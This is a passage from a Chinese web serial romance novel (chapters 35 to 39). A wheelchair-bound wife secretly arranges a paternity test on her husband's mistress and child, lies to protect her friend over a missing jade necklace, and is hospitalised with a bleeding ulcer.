姜淑慧浑身发抖,指着我道:“她明知道我跟薛晓琴那种关系,还非要在薛晓琴面前下我的面子!你送给她的定情信物,居然被她拿出去当了!我姜淑慧这辈子都没丢过这种人!你就是心太软,搁在古代,就该把她浸猪笼,沉潭!”
姜淑慧骂了一大堆,但每一个字都是发自肺腑,真真切切。
我更加深刻的理解到,她有多恨我。
曾经,我竟还无数次想委屈自己,来修复跟她的婆媳关系。
现在我只庆幸,之前幸好没有费那劲儿。
顾时序听到母亲提起那个‘定情信物’的事,眸光中也染上一抹不悦,问我:“为什么要把那个拿出去卖掉?给我一个解释。”
我没有任何心虚,坦然的说:“我妈妈的医院催费了,我没钱交。”
顾时序愣住,似乎没想到,理由竟是这么简单和敷衍。
他沉声道:“没钱为什么不找我要?”
我拿出手机,找了一会儿,才找到我那天给他打电话时的录音。
“我是想找你要来着,但那天你陪你宝贝女儿在迪士尼玩,苏雅欣和你妈接了电话。”
我言简意赅的说完,打开了录音。
那边传出那日姜淑慧对我的回应:“治疗费?你那个半死不活的妈?还有救的必要吗?我们时序这么多年的钱都打了水漂,这么多钱给雅欣和朵朵买衣服买首饰不好吗?”
顾时序听着,眉头越皱越深。
而姜淑慧的气势明显没有一开始这么理直气壮了。
录音放完后,我淡漠地问:“还有别的问题吗?没有的话我先回房间了,有点累。”
说完,我自己滚动着轮椅的轮子,往我的客房走去。
姜淑慧气急败坏的声音在我身后越来越远:“你看看这个**,她是什么态度?时序,你不要再拖了,早早跟她离婚,让她知道离开你,她自己究竟还算个什么东西!”
我勾唇冷笑,巴不得现在顾时序能任姜淑慧摆布呢。
回到房间,我平复了一下心情,打开电脑,继续更新我的小说。
才写了一个小时不到,我房门被敲响。
我立刻合起电脑,道:“进来。”
顾时序推门而入,看样子是已经把姜淑慧弄走了。
他拉了把椅子在我面前坐下,道:“抱歉,前段时间事情太多,的确忘了岳母治疗费的事。”
我扯了扯唇角,道:“嗯,能理解。”
他听出我不冷不热的语气,微微蹙了蹙眉,道:“但是你有这么多首饰,哪件不能卖掉应急,非要卖那串翡翠项链?你明知道它的意义是什么。”
“哦,卖的时候太急,忘记了。”
我轻描淡写的回应。
“明天是我们的结婚纪念日,我把那条项链给你买回来。”
说完,他漆黑的眸光落在我脸上,一字一句的说:“收好。下次,可不要再忘了。”
我恍惚了一下。
原来,明天就是我们结婚四周年的纪念日了。
他这副认真专注的神色,像极了他也很在乎这件对我们婚姻有着特殊意义的‘定情信物’。
可事实上,他真的在乎吗?
如果他在乎,他怎么忍心这样一次次的伤害我?
反正这个东西对我来说已经失去了它原本的意义,赎不赎回来的,早已不重要了。
……
其实这两年,顾时序对我的‘承诺’大多只是说说而已,很快就抛之脑后了。
我也没想到,他这次却做的那么快。
我当天晚上就接到了顾亦寒的电话。
“哎呦,没想到这么多年电话都没变嘛!”顾亦寒笑嘻嘻的说:“该不会是怕我联系不到你吧!”
我无语的说:“你想多了!给我打电话干嘛?”
顾亦寒饶有兴趣地说:“顾时序从我这里,把那条紫罗兰珠子买回来了。你猜多少钱买的?”
我淡淡地说:“没兴趣知道。”
顾亦寒自顾自的说:“一个亿!我让他狠狠出了回血!没想到,他还真是一点没压价。”
我虽然没兴趣知道,但听到这个数目,还是有点震惊。
毕竟,这东西是当年顾时序一千万从拍卖会上拍下来的,顾亦寒虽然后买了回去,但肯定也不会比这个价格高出太多。
我也没想到,顾时序这么精明的商人,会翻这么多倍买下这条没什么意义的项链。
见我没说话,顾亦寒’啧啧’了几声,道:“看来这是又感动了!是不是又想献身给顾时序了?”
“顾亦寒!”
我愤愤地说:“没事我挂了!”
顾亦寒不再拿我寻开心,正经了语气道:“别别别!我就是想继续跟你聊聊咱俩那个小秘密。苏雅欣给顾时序生了孩子?真的?”
我其实搞不懂顾亦寒回国的目的,但我心里很明白,他跟顾时序之间,也处于“不是你死,就是我活”的状态。
虽然我现在对顾时序已经没有感情了,但我也不想成为顾亦寒对付顾时序的武器。
“无可奉告。”
我说了四个字,挂断了电话。
而顾时序花高价从同父异母的弟弟手里买了条极品翡翠项链的事,也在圈子里不胫而走。
就连宋今若都知道了这件事,还特意给我打电话确认。
得知顾时序真的这么做了,她道:“我现在真不明白,顾时序这家伙脑子装的都是什么了?你说他在乎你吧,他连小三和私生女都有了。你要说他不在乎吧,他明知道顾亦寒故意宰他,他还是心甘情愿花高价把你俩的定情信物买回来。”
“他大概只是不甘心吧。”
我淡声道:“他妈妈今天在商场丢了这么大一个面子,他肯定是要想办法找补回来的。”
宋今若道:“不管怎么样,这条项链最终还是回到了你这里,说明啊你跟它本来就有缘分。而且那条翡翠珠子是极品,全
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世界都不好再找出第二条的。收着也不错,明天估计他要当作结婚纪念日礼物送给你。”
我想到了这两年的结婚纪念日,顾时序其实都对我很敷衍。
虽然礼物次次不落,但他连一顿烛光晚餐都没有陪我吃过。
每次都是我亲自下厨做了一桌子菜,孤零零地坐在餐桌前等他到深夜。
他回来之后,甚至连红酒都没有喝一口,就说公司的事让他太累,将送我的礼物直接放在桌上,便回房睡觉。
送礼物这件事,不知道什么时候,对顾时序来说,好像变成了一个‘任务’或‘流程’,仅此而已。
本以为今年的结婚纪念日会有什么不一样,可是,顾时序一晚上都没有回家。
苏雅欣和朵朵,也不在家。
这个场景,让我明白,今年的结婚纪念日,也不会有什么不一样。
顶多,他很晚回来,把那条并没有什么意义的定情信物交给我,就算是过了这个特殊的日子了。
可我显然把现实想得太美好。
直到中午,我在苏雅欣的微博里看见了那条熟悉的紫色翡翠项链,我才明白,顾时序心甘情愿地被顾亦寒‘宰’,跟我一点关系都没有。
苏雅欣发了一堆美照,特意露出了那条紫罗兰翡翠项链,配文:“仙女的生日一定要有幸运色加持!”
下面的评论也不停地涌了上来:
“啊啊啊,少女感太足了!什么时候我才能见仙女一眼啊!”
“这串翡翠好美!只有这种极品珠宝才能配得上我欣的颜值啊!”
“欣欣生日快乐!一定要狠狠地幸福下去!”
“……”
我这才知道,原来,我和顾时序的结婚纪念日,竟是苏雅欣的生日。
怪不得每年顾时序回来的都这样晚,我让他吃点东西,他说不饿。
搞了半天,是在外面吃饱了。
之所以很累,是陪女人陪的。
我眼眶酸涩,想起昨天顾时序那么认真专注的表情对我说的话。
我竟还真就信了一次。
原来,这定情信物的意义,早已变成了他和苏雅欣之间的意义。
我关了手机,深深吸了几口气,让自己烦躁的心平静下来。
然后打开电脑,处理公司交给我的工作,晚上还更新了我的小说。
深夜,我听见庭院里车子的引擎声。
透过落地窗,我看见顾时序他们一家三口从车上下来,苏雅欣摸着脖子上的项链不知道对顾时序说了什么。
顾时序站在她面前,耐心地帮她整理了一下项链和头发。
月光下,两人郎才女貌,深情款款的样子,是真让人看不出一点肮脏和污秽。
我自嘲地笑了笑,关上窗帘,继续写我的书。
没过多久,顾时序清冷的声音从我房间外传来,问:“睡了吗?”
我没回应,就当已经睡了,还关了灯。
我跟他,早已没什么话可说。
可他还是在外面转动我的门把手,道:“开一下门,我知道你没睡。刚才你房里的灯还亮着。”
如果我不给他开门,他会直接找刘妈拿钥匙。
就这样,我拄着拐,不耐烦地打开门,道:“这么晚了,有事吗?”
顾时序走进我房间,将一个古朴的方形盒子放在我桌上,道:“打开看看。”
第36章 亲子鉴定结果出来了
我莫名其妙的打开那盒子。
原来,是一支冰冰透透的紫罗兰翡翠手镯,种水色都是极品。
我还没反应过来,顾时序已经牵过我的手,将那只手镯戴在了我手腕上。
“不错,挺合适的。”
他似乎对自己选择这个手镯款式和圈口都很满意。
而我,越过他颀长的身影,将目光落在墙上的时钟上。
那指针已经过了十二点,我们的纪念日已经过去了。
“谢谢。”
我淡淡地回应了一句,对他道:“我困了,你还别的事吗?”
顾时序依旧和之前一样,仿佛完成了一个固定的程序。
礼物已经送了,他让我早点休息,便离开了我房间。
可我却睡不着了。
夜里,我刷着网页,这才知道,自己手上这条手镯也是最近顾时序从拍卖会上拍下的。
是一条极品冰种紫罗兰翡翠手镯,价值两千多万。
甚至有一些专业的珠宝大师对比过这条手镯和之前顾时序拍下的翡翠项链,这条手镯竟然比那串翡翠项链更珍贵。
……
翌日清早,我出现在餐桌上的时候,苏雅欣脖子上仍旧带着那条项链。
但是,在她看见我手腕上那只手镯的时候,眼神明显闪过一丝嫉妒。
我真是佩服顾时序强大的心理。
老婆和小三一人戴着一个他送的礼物,他竟还能做到面不改色心不跳的吃饭。
吃完饭,我准备回房间了。
朵朵突然开口道:“爸爸,那个女佣阿姨手上的手镯跟我妈妈的项链好配哦!都是紫色的哎!”
顾时序对女儿道:“朵朵,下次爸爸再给你妈妈买一支更好了看的,好吗?”
朵朵不乐意了,撅着嘴道:“可我就觉得女佣阿姨手上戴的好看!你让她脱下来给我妈妈试试嘛!”
苏雅欣今天吃饭时,眼珠子就一直在我这只镯子上打转。
没想到,她的手段从以前的‘偷’,变成现在的直接抢了!
而且,还是利用一个小孩子来抢。
只不过,昨晚这只手镯是顾时序亲手送给我的,现在,他没好让我摘下来。
苏雅欣见顾时序迟迟不松口,便装作懂事的样子,以退为进道:“朵朵,妈妈教过你,君子不夺人所爱。妈妈有爸爸送的项链就已经很知足了,这只手镯是阿姨的,我们不要,好吗?”
我微微叹了口气,实在觉得没意思。
这教育专家装的……
朵朵不依不饶的说:“只是让她脱下来给你试试,拍张照片还不行吗?妈妈,我就觉得这个手镯戴在你手上最好看!”
顾时序终于开口对我道:“把这只手镯给雅欣试试吧。”
朵朵听到顾时序的命令,得意的冲我挑了一下眉,走到我面前,道:“脱下来吧,我给我妈妈试试。”
顾时序的决定,我一点都不意外。
反正每次在苏雅欣母女面前,我都是没有任何胜算的。
这只手镯要是戴进了苏雅欣手上,那还能摘得下来?
我微微笑了笑,将手镯褪了下来,递过去。
朵朵刚要伸手接,我就松了手,故意让手镯掉在了地上。
“啪”的一声,手镯摔在地上,直接裂开了一道口子。
朵朵瞪着我,道:“你故意的!”
我笑意更深,对这小丫头道:“我的东西,我想怎么处置都行。你还小,别跟你妈妈一样,总把眼睛净盯在别人的东西上!”
朵朵气红了眼睛,望向顾时序,想让爸爸帮她做主。
我也看着顾时序,道:“别忘了,你女儿的命是谁救的。凡事不要太过分,我的忍耐是有限度的。”
说完,我让刘妈把我推回了房间。
离开餐厅时,我还看到了苏雅欣目光中的可惜,她一直盯着那碎掉的翡翠手镯看。
看得出来,她是真挺喜欢别人的东西。
毕竟,也值两千万呢。
回到房间,宋今若给我打来电话,声音很紧张:“你在家吗?我去找你,我有重要的事情跟你说。”
我以为她要跟我说的是微博上,苏雅欣晒出的生日照。
她肯定也看到了我跟顾时序的定情信物戴在苏雅欣的脖颈上。
可没想到,她来了之后,神秘兮兮的问:“顾时序不在家吧?”
“不在,刚才去公司了。”
我道:“苏雅欣和孩子好像也出去了。怎么了?”
宋今若松了口气,道:“那就好。亲子鉴定结果出来,我就是来跟你说这件事的。”
我眼前一亮,道:“那我离婚的证据就差不多了。现在就差顾时序的资产了,是吧?”
“这……出了点儿问题。”
宋今若道:“亲子鉴定结果显示,苏雅欣和朵朵并没有母女关系。”
我震惊的看着她,“这怎么可能?你确定?”
宋今若点点头,道:“我也是这么问鉴定机构的。但他们非常确定没有搞错标本,这俩人的确没有母女关系。”
我彻底迷惑了。
朵朵居然不是苏雅欣的亲生女儿?
但她却是顾时序的亲生女儿?
我怎么都想不通。
宋今若突然想起了什么,道:“我知道了!这个朵朵,会不会是因为苏雅欣为了保持身材,怕被狗仔发现,找人**的啊!这女人又作又坏,这完全有可能啊!”
我摇了摇头,道:“不知道。按说顾时序是个很传统的男人,**这种事,我觉得他不
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会接受。”
我跟宋今若想了很久,也想不出个所以然。
最终,我们决定联系秦律师。
为了不让这别墅里的人发现,我们刻意挑了距离这边很远的一个茶馆,跟秦欢见面。
秦律师对我道:“你丈夫的资产目前已经调查的差不多了。虽然查到的只是明面上的,但这些资产的一半,足够你这一辈子生活富足了。DNA鉴定的事,有结果了吗?”
我将目前的情况告诉了秦欢,她也着实很意外。
“你的意思是,你丈夫出轨的女人,不是孩子的亲生母亲?”
她凝神思考了一会儿,道:“这不太可能啊!不然你丈夫有什么理由,要让这小孩喊她妈妈呢?”
宋今若附和道:“我也觉得不可能!你看那个小孩心眼子那么多,跟苏雅欣一样坏!绝对是她亲生的!”
秦欢问我:“你再好好想想,你是不是把标本搞错了?你确定拿到的是苏雅欣和孩子的样本?”
她这么一说,我也开始怀疑自己了。
那天,我情急之下薅住苏雅欣的头发。
但后来顾时序来了,我为了不让他们发现,就把头发藏在了身后。
而且,他们走后,是我自己费劲爬上床的。
这期间,头发先被我放在了床上。
最近我失眠掉头发也不少。
会不会是这里面掺杂了我自己的头发?
宋今若见我迟迟不说话,问:“你是不是想到什么了?”
我低低的说:“难道,真是我弄错了?”
秦欢对我道:“我建议这个亲子鉴定还是再重新做一次。苏雅欣和朵朵的亲子鉴定结果非常重要,她们是亲生母女的关系,这就是你丈夫出轨最好的证据。否则,以你丈夫的人脉和能力,在这个离婚官司中,你很难占到便宜。”
我虽然理解她说的意思,那也犯了难。
上次,我拿到苏雅欣的头发已经很不容易。
现在我腿脚不便,再想拿到她的头发,该想个什么办法呢?
就在这时,我们身后传来一个声音,“秦欢。”
秦欢当即愣住了,我和宋今若同时向后看去,更是心惊肉跳。
顾时序和一个陌生男人走在一起,竟然也在这家茶馆。
不仅如此,那个陌生男人跟秦欢还认识!
他笑着跟顾时序解释道:“这位也是律师,是我同事。”
顾时序在得知秦欢是律师的时候,深沉的目光落在了我的身上。
我被他盯得全身都发毛,桌上还放着苏雅欣和朵朵的亲子鉴定。
虽然外面是用文件袋装着的,但明眼人一看,这就是几个人在跟律师商讨什么事情?
我屏住了呼吸,心跳越来越快。
第37章 被顾时序抓个正着
幸亏秦欢反应的快,镇定的跟同事打招呼,“老何,你回去别跟老板告状,说我上班时间出来摸鱼,别害我啊!”
“摸鱼?”
这位姓何的律师道:“我还以为你也出来见客户呢。”
秦欢淡定的解释道:“是我朋友。她脚受伤了,恰好今天路过我们单位这边,我们就约了见个面。不然平时,还真没空。”
顾时序目光仍旧透着一抹狐疑,但他后面应该还有别的什么事,对身旁的男人道:“还有半小时,我们现在过去正好。”
这位何律师对顾时序言听计从,赶忙跟了上去。
他们走后,我心脏仍然砰砰直跳,手心都出了一层冷汗。
宋今若担心的问:“顾时序该不会发现什么吧?我刚才被他那眼神看的,吓**!”
我深吸了口气,道:“发现就发现,还剩下四天心肺支持仪就上市了,我还怕他什么?”
后来,我们又跟秦欢聊了一些关于离婚的具体细节。
秦欢说,当务之急,还是要赶紧弄到苏雅欣的头发样本,再做一次亲子鉴定。
宋今若突然想起什么,道:“你们说,这顾时序怎么也开始找律师了?该不会他跟我们一样,也不显山不漏水的搞离婚的事儿吧?他城府这么深,会不会跟律师盘算着怎么让昭昭净身出户呀?”
秦欢道:“这个容易。等我回律所之后,可以打听得到何律师最近在帮顾总搞什么。有消息会通知你们。”
我们跟秦欢道了谢,回了顾氏庄园。
当时,顾时序还没回来,朵朵和苏雅欣也不在家。
我们盘算着该怎么弄到苏雅欣的头发?
别墅里这所有的佣人里,我只信任刘妈。
但是刘妈拿的是顾时序发的工资,她未必敢为我做这件事。
宋今若道:“算了,别到时候刘妈也被苏雅欣收买了,再把你给出卖了!这样吧,我去帮你找找。趁现在,他们都不在家。”
我虽然担心,但目前,这是最快的办法。
就这样,我跟宋今若配合。
我先谎称结婚戒指掉在了庭院里,让刘妈带着所有佣人一起去找。
宋今若就在这个时候去了楼上主卧。
几分钟后,她就回来了。
没想到,还真找到了苏雅欣的头发。
“这根黄色的,应该是她的吧?”
宋今若捏着那根头发,跟攥着什么稀世珍宝似的。
我点点头,道:“是,这就是她头发的颜色。”
宋今若小心翼翼的将头发包在纸巾里,道:“得嘞!等我好消息吧!这次不会弄错了!”
她拿到头发就匆忙走了,准备再去鉴定机构做一次亲子鉴定。
而这时,我也接到了秦欢的电话。
她道:“放心吧,叶小姐,你丈夫见何律师并不是商量离婚的事情,而是关于之前顾氏工地那个**民工的。家属把顾氏给告了,他在处理这件事。”
“好的,我知道了。谢谢你啊,秦律师。”
看来,顾时序至今为止,还没有离婚的打算。
不然像他这样的人,早该谋划了。
本以为我现在只要安心等待亲子鉴定结果就行了。
可这天晚上,苏雅欣回来之后,便说顾时序送她的生日礼物找不到了!
大半夜的,顾时序将所有佣人都叫了过来,问谁去了主卧。
几个打扫主卧的佣人拼命否认,都说自己没有动过苏雅欣的东西。
我被顾时序叫出来的时候,苏雅欣斩钉截铁地说:“这不可能啊!我就把那串项链放在了床头柜上,怎么可能说不见就不见?”
我感觉到她是冲着我来的,便道:“今天早上,那串项链还戴在你脖子上,你喜欢的跟什么似的。怎么突然又摘下来放在床头柜上了?”
苏雅欣微微一滞,面不改色的说:“那么珍贵的项链,还是时序哥送我的礼物,我怕磕了碰了,才放在家里的。没想到,回来就不见了。”
就在这时,那个负责打扫的女佣突然说道:“我想起来了,今天太太带了一个外人进来。不知道,是不是那个人?”
“你胡说!”
我厉声制止了她。
可那个女佣是个会见风使舵的,她似乎看清了这个家的情势,觉得我在顾时序心里压根没有一点地位。
为了撇清她自己的嫌疑,竟然把脏水往我身上泼。
顾时序怀疑的目光落在我身上,问:“宋今若今天来了?”
“对,来了。”
我不免慌张起来。
再这么下去,他调了监控就会知道,宋今若上了二楼主卧。
我虽然知道项链肯定不是宋今若拿的,很大可能是苏雅欣贼喊捉贼。
可是,一旦宋今若去主卧被发现,该怎么解释呢?
难不成,要说去主卧为了找苏雅欣的头发跟朵朵做亲子鉴定?
为了不让顾时序继续查下去,我只好说道:“好,实话告诉你们吧,那条项链是我拿的,怎么了?”
顾时序冷沉的眸子
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里涌现出一丝意外,蹙眉问:“为什么?”
“因为我嫉妒苏雅欣。”
这是我目前能想到最符合这个行为的借口了。
我道:“那条项链是当初你求婚的时候送给我的。现在,你转手就送给了她。我只是把属于我的东西拿回来,这算偷吗?”
果然,我这么一说,顾时序目光好像没有刚才那般锐利了,就连神色都缓和下来。
沉默片刻,他对苏雅欣道:“回头我再给你买一条项链。这条项链,就算了。”
苏雅欣笑得有些勉强,但也只能答应下来。
我心里轻轻松了口气。
幸好,他信了我的话,没有再追究下去。
我故作镇定地说:“没别的事我就回房间了,困了。”
顾时序也没拦着我,甚至还让刘妈推我回去。
原以为这件事就告一段落了。
可我没想到,一小时后,我处理完电脑上的工作,正准备睡觉,顾时序直接推门进来。
他面色阴郁,走到我面前,拉住我的轮椅。
然后,他双手撑在我轮椅两侧,清冷的面容一点点逼近我。
我心中忐忑,压着紧张,淡淡地问:“顾时序,你干什么?”
“我在看看,你这张嘴,还要说多少谎?”
他挂着佛珠的手轻轻抬起,指腹在我唇瓣上来回摩挲着,让我一阵战栗。
只听他语调阴沉,道:“刚才我让人调了监控,今天上二楼主卧的人,不是你,而是宋今若。”
我心里一咯噔,跌落谷底。
没想到,他还是调了监控,还是发现了宋今若。
我只能硬着头皮说道:“宋家在海城虽然比不上顾家,但也是富足之家。宋今若珠宝一大堆,没必要拿一条项链。”
顾时序冷笑了声,点点头,道:“我也觉得,她没必要拿项链。所以你告诉我,她去主卧做什么了?或者是,她拿了什么?”
我彻底慌了,绝不能让顾时序知道,我在背后拿他和苏雅欣的标本做亲子鉴定。
否则,他毁尸灭迹不说,甚至,还有可能在我妈身上动手脚。
到时候,我离婚就更难了。
我语无伦次地解释道:“是我让她上去的,帮我……帮我把那条项链拿回来。那本来就是我的,不是吗?”
“嗯,好。这个解释,还能令人信服。”
顾时序似笑非笑,像是逗弄一只惊慌失措的宠物般,问我:“既然是这样,那项链呢?她不是帮你拿来了吗?”
第38章 顾时序,我好疼…
我避开他的目光,敷衍着说:“我让她帮我扔了。反正这条项链对我也没什么意义了,眼不见心不烦。”
顾时序俊脸上的笑意瞬间消失,站直了身体,一字一句道:“简直一派胡言!”
说完,他对着外面命令道:“刘妈,报警!就说别墅失窃巨额珠宝,嫌疑人是宋家千金。”
“不要!”
我下意识抓住他的手,近乎于恳求的说:“顾时序,不要报警。跟宋今若没有关系,真的不是她!”
顾时序就这么望着我,脸上像覆了一层寒霜,阴沉沉的道:“那你今天给我说清楚,项链在哪儿?或者给我解释清楚,宋今若去主卧,究竟干什么去了?你能说明白任何一个,我都信你。说!”
我咬着唇,脑子已经乱成了浆糊。
只能崩溃的冲他吼道:“我已经说了,我让宋今若把项链拿出来扔了!我已经说了,是你自己不信!”
“扔哪里了?我让人去找!”
顾时序像是审问犯人一般,步步紧逼,我已经没有任何退路。
但我知道,如果我说了实话,后果只会比现在更惨。
顾时序现在已经很确定我和宋今若有事瞒着他,他掌控欲很强,就算不爱我了,但还是要知道所有的事。
见我迟迟不说,他也没了耐心。
“我给你一夜的时间,跪在佛堂好好想。明天天亮,你要是再没给我个答案,我就报警。”
说完,他直接将我轮椅推到佛堂,让我跪在那金色的佛像前。
只不过这次他让人准备了软垫,不像上次,那些保镖直接押着我跪在冰冷的地面。
刘妈见我脚还没有康复,想帮我求情,却被顾时序一个眼神吓退了回去。
原以为这漫漫长夜,我会一个人跪在这阴森森的佛堂里。
可没想到,顾时序竟然就站在我旁边。
他面对着佛祖,手中一颗一颗盘着佛珠,不知在想些什么。
我跪在这儿,心里不仅没有安定下来,听着他佛珠之间碰撞的声音,我心好像更乱了。
……
整整一夜,我跪了多久,他就站了多久。
这期间,苏雅欣带着朵朵来了两次,想让他回去休息,他并没有回去。
我不知道他究竟什么意思?
这是亲自监视我,怕我跟宋今若联系,怕我俩串供?
虽然我刚开始的确有这样的想法。
不过现在,顾时序已经把我的路堵**。
不知不觉,外面的天空露出了鱼肚白,将昏暗的佛堂照亮了些。
我跪了几个小时,腿都不像我的了,痛的几乎麻木。
祸不单行,胃里现在也隐隐约约开始疼痛,后来,渐渐变成了绞痛。
我捂着上腹,对顾时序道:“我胃疼。”
顾时序瞥了我一眼,冷冷道:“这就是你想了一夜的答案,嗯?”
“顾时序,我……真的胃疼。”
我额头上泛出密密麻麻的冷汗。
可顾时序不信我的话。
他索性蹲在我面前,冷沉的黑眸盯着我的脸,道:“那我来问你。昨天你去见的那个律师朋友,跟宋今若去主卧,有没有关系?”
我心一惊,冷静的开口道:“没有,只是朋友见个面而已。上次我贫血晕倒,她不是也来看过我吗?你在病房见过她的。”
“那现在你给我解释,怎么就这么巧?上午刚见了律师,下午宋今若就跑到主卧。她去干什么了?”
他又开始了新一轮的逼问。
这时,我突然想到了一个或许能让顾时序动恻隐之心的理由。
我迎上他审视的目光,失落的开口道:“我让今若去找我当年怀孕时的B超单。我想我的孩子了,那张B超单是她唯一的照片。我记得当时把照片放在主卧的床头柜里,没有拿过来。”
顾时序果然没有再逼问下去,眼中的怀疑也少了些。
我刚想松口气,他就说道:“这个答案不错。”
可下一秒,他对刘妈道:“去把宋今若叫来。”
“顾时序,我已经告诉了你,你为什么还要去找今若的麻烦!”
我再次紧张起来,胃更痛了。
顾时序勾了勾唇角,道:“把她叫来跟你对质一下。要是你俩的说法一致,这件事就算了。”
我没想到这男人心思竟然这样深。
幸好我没说实话。
否则,就他这种手段,离婚我都别想好好离!
刘妈担忧地看了我一眼,只能听从顾时序的吩咐去打电话了。
而我不知是紧张,还是一夜滴水未进,胃痛的滋味蔓延至五脏六腑。
我突然觉得嗓子里一阵腥咸,一口血呕了出来。
看着地上的暗红色液体,我自己都被吓到了。
难道,真的如医生所说,我胃炎已经癌变了?
“昭昭。”
顾时序立刻抱起我,径直往外面走去。
他也没等司机过来,自己开车送我去了医院。
车上,我没再呕血,但胃依然绞痛着。
我看了眼旁边紧抿薄唇,一言不发开车的男人,苦涩的弯了唇角:“这下,你信了吧?顾时序,我没有骗你。”
顾时序仍旧没有说话,只是车速又快了些。
到了医院,他抱着我直奔急诊室。
我从这个角度只能看到他紧绷的下颌线,似乎已经许久,我没见过顾时序为我担心的样子了。
急诊室的医生得知我的症状后,让我做紧急胃镜,说可能有消化道出血,匆匆将我带进胃镜室。
……
一小时后,胃镜检查结果出来。
顾时序已经没有踪影了。
我以为他又抛下了我。
可是没过多久,他又回来了。
我从他身上闻见了淡淡地烟草味。
顾时序很少抽烟,只有在十分心烦的时候,才会抽一支
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所以,他刚才是去抽烟了吗?
”结果怎么样?”
他蹙眉问医生。
医生将胃镜报告递给他,凝重地说:“我查了一下叶女士上次的就诊记录,她有很严重的慢性胃炎合并胃溃疡。这次应该是溃疡出血,才导致呕血。”
“胃溃疡?”
顾时序愈发疑惑,继续问:“她这么年轻,怎么会得这种病?”
医生道:“叶女士有缺铁性贫血病史,我看上次的就诊记录有写她长期吃素。饮食不均衡很可能是导致她胃炎加重的原因。”
顾时序听完,语气沉了几分,问:“那现在该怎么治疗?”
“暂时先止血。如果以后频繁发作,可能要考虑手术切除一部分胃了。否则,可能会癌变。这些后果,上次应该已经跟叶女士说过。”
顾时序沉默了很久,一字一句道:“用最好的药,最好的专家,我不允许‘癌变’这种事发生在她身上。”
医生叮嘱道:“其实胃病不只是要靠药物,还要靠平日里的调养。胃是个情绪器官,情绪低落或者抑郁的时候,胃就很容易发病。所以平日里,一定要保持心情舒畅。当然,我们也可能会尽全力治疗。”
“嗯,麻烦你们了。”
顾时序难得说了句客气话。
医生走了,他眸光深暗,望向我:“上次住院,你就知道自己有这个毛病了?”
“嗯。”
我靠在病床上,淡淡地应了声。
顾时序声音重了一些,问:“为什么不告诉我?”
我这才望向他,轻扯唇角,道:“因为你太忙了,没时间管我的事。"
他听出了我的言外之意,眉头皱得更深了。
修长的手指捏着眉心,看似格外烦躁。
平日里他心情不好的时候会盘弄佛珠让自己静心,但今天出门太匆忙,他手边并没有能让他静下心来的东西。
就在这时,刘妈的电话打了进来。
我隐约听见刘妈跟他汇报宋今若来家里了。
我的心猛地提了起来。
生怕他跟宋今若对质,关于今天她去主卧的事。
可顾时序只是用意味不明的目光从我脸上扫过,随即对电话那头道:“让她回去吧,没事了。”
我没想到,顾时序没有追根究底,而是将这件事放了过去。
挂了电话,他似乎看出了我在想什么,勾唇笑的不达眼底,问:“这下,放心了?”
我听懂了他的意思,克制着内心的紧张,道:“反正我和宋今若行得正坐得端,我们没干亏心事,有什么不放心的!”
顾时序微微叹了口气,清俊的脸上透着一抹疲惫坐在我旁边的椅子上,对我道:“昨晚你也是绞尽脑汁累了一夜,睡会儿吧!”
说完,他自己先靠在椅背上,闭目养起了神儿。
顾时序这幅看破不说破的样子,也让我心里无端忐忑起来。
第39章 整整一夜,他才放过我
可一想到马上顾氏的心肺支持仪就能上市了,就算他知道我找律师要跟他离婚,又能怎样?
我和顾时序在急诊病房休息了大概两个多小时。
水吊完了,护士过来给我拔掉针的时候,我们也都醒了。
护士刚从病房出去。
我就听见了外面苏雅欣的声音:“护士小姐,请问叶昭昭是在这间病房吗?”
“你……你是苏雅欣?”
小护士激动极了,道:“能给我签个名吗?”
“好。”
苏雅欣对待粉丝,那是格外温柔亲切。
她签了名,走进病房,手中提着果篮。
要是没见过之前她私下里那副阴毒刻薄的样子,我说不定也被她这幅温婉可人的模样给骗了。
可现在,我实在没有力气跟这种假惺惺的女人多啰嗦一句,便跟顾时序道:“你孩子妈来带你回家了。你走吧!”
顾时序斜睨了我一眼,依旧坐在椅子上,问苏雅欣:“你怎么过来了?”
苏雅欣将果篮放在桌上,柔柔的开口道:“我刚送完朵朵去幼儿园,回来的路上总觉得愧疚。如果不是我昨晚说项链不见了,叶小姐也不会生病。”
顾时序跟她说话的语气还是温和的,“这件事跟你没关系。不要想太多,你先回去吧!”
苏雅欣美眸阵阵波光,投射在顾时序身上。
见他没有走的意思,便继续说道:“真的很抱歉,叶小姐。那条项链,就算了。反正本来,也是时序哥给你的定情信物。”
这意思,倒还是她大度的原谅了我这个‘偷’项链的人?
苏雅欣既然非要这么给脸不要脸,死赖着不走恶心我,那我也只能跟她一样,睁着眼说瞎话了。
于是,我虚弱的开口道:“苏小姐,我让今若去主卧,是帮我找三年前我孕检的时候,孩子的B超单。今若说,B超单并不在床头柜的抽屉里。我不知道是你还是时序,把它收起来了。”
苏雅欣错愕的看着我,道:“你是不是记错了?我没看到抽屉里有什么B超单啊。”
是的,她的确没看到。因为所有跟我孩子有关的东西,我都小心翼翼的收藏起来了,又怎么可能落在苏雅欣跟顾时序的卧室呢?
我佯装疑惑的望向顾时序,问:“你看到了吗?是不是你把我们孩子的B超单放在别的地方了?我之前一直都放在床头柜抽屉里的,我很确定。”
顾时序淡淡地说:“我没看见。平时,我也不怎么用那个抽屉。”
然后,他目光落在苏雅欣的脸上。
我还是第一次见到他用这种怀疑的目光审视着苏雅欣。
苏雅欣明显慌了,她连忙解释道:“时序哥,我没有拿叶小姐孩子的B超单,我真的没看见啊。叶小姐一定是记错了!”
我想到那天下午我独自陪伴孩子下葬的场景,不是演员出身的我,眼泪却也流了下来,哽咽道:“苏小姐,我可以把丈夫让给你。但是请你把那个B超单还给我好吗?那是我对我的宝宝唯一的念想了。我求你了!”
说到这儿,我情绪激像是很激动,眼泪停不住。
装绿茶,谁不会啊?
刚才吊完护胃的水,我的胃其实已经不疼了,可我还是捂着腹部,紧紧皱着眉。
恰好这时候医生过来查房。
见我如此,医生无奈的说:“刚才不是跟你说过了吗?胃病病人一定要保持情绪舒畅,不能生气。”
医生走后,我还在哭。
苏雅欣也快哭了,拼命跟顾时序解释自己没有看见B超单。
可顾时序这次竟然没有像之前那般心疼的护住她,而是淡淡地说:“最近狗仔对你的追踪少了很多,风头已经过去了。我让孙杰帮你找新住处,到时候他帮你搬家。”
苏雅欣震惊的看着他,然后又看看我,美眸中充满了不可置信。
就连我都觉得诧异,顾时序会做出这样的决定。
“时序哥……”
苏雅欣的眼泪像是断了线的珍珠,哽咽道:“为什么你不肯相信我。我真的没拿叶小姐孩子的B超单,我是清白的。”
可顾时序依旧没有动摇。
苏雅欣是知道适可而止的。
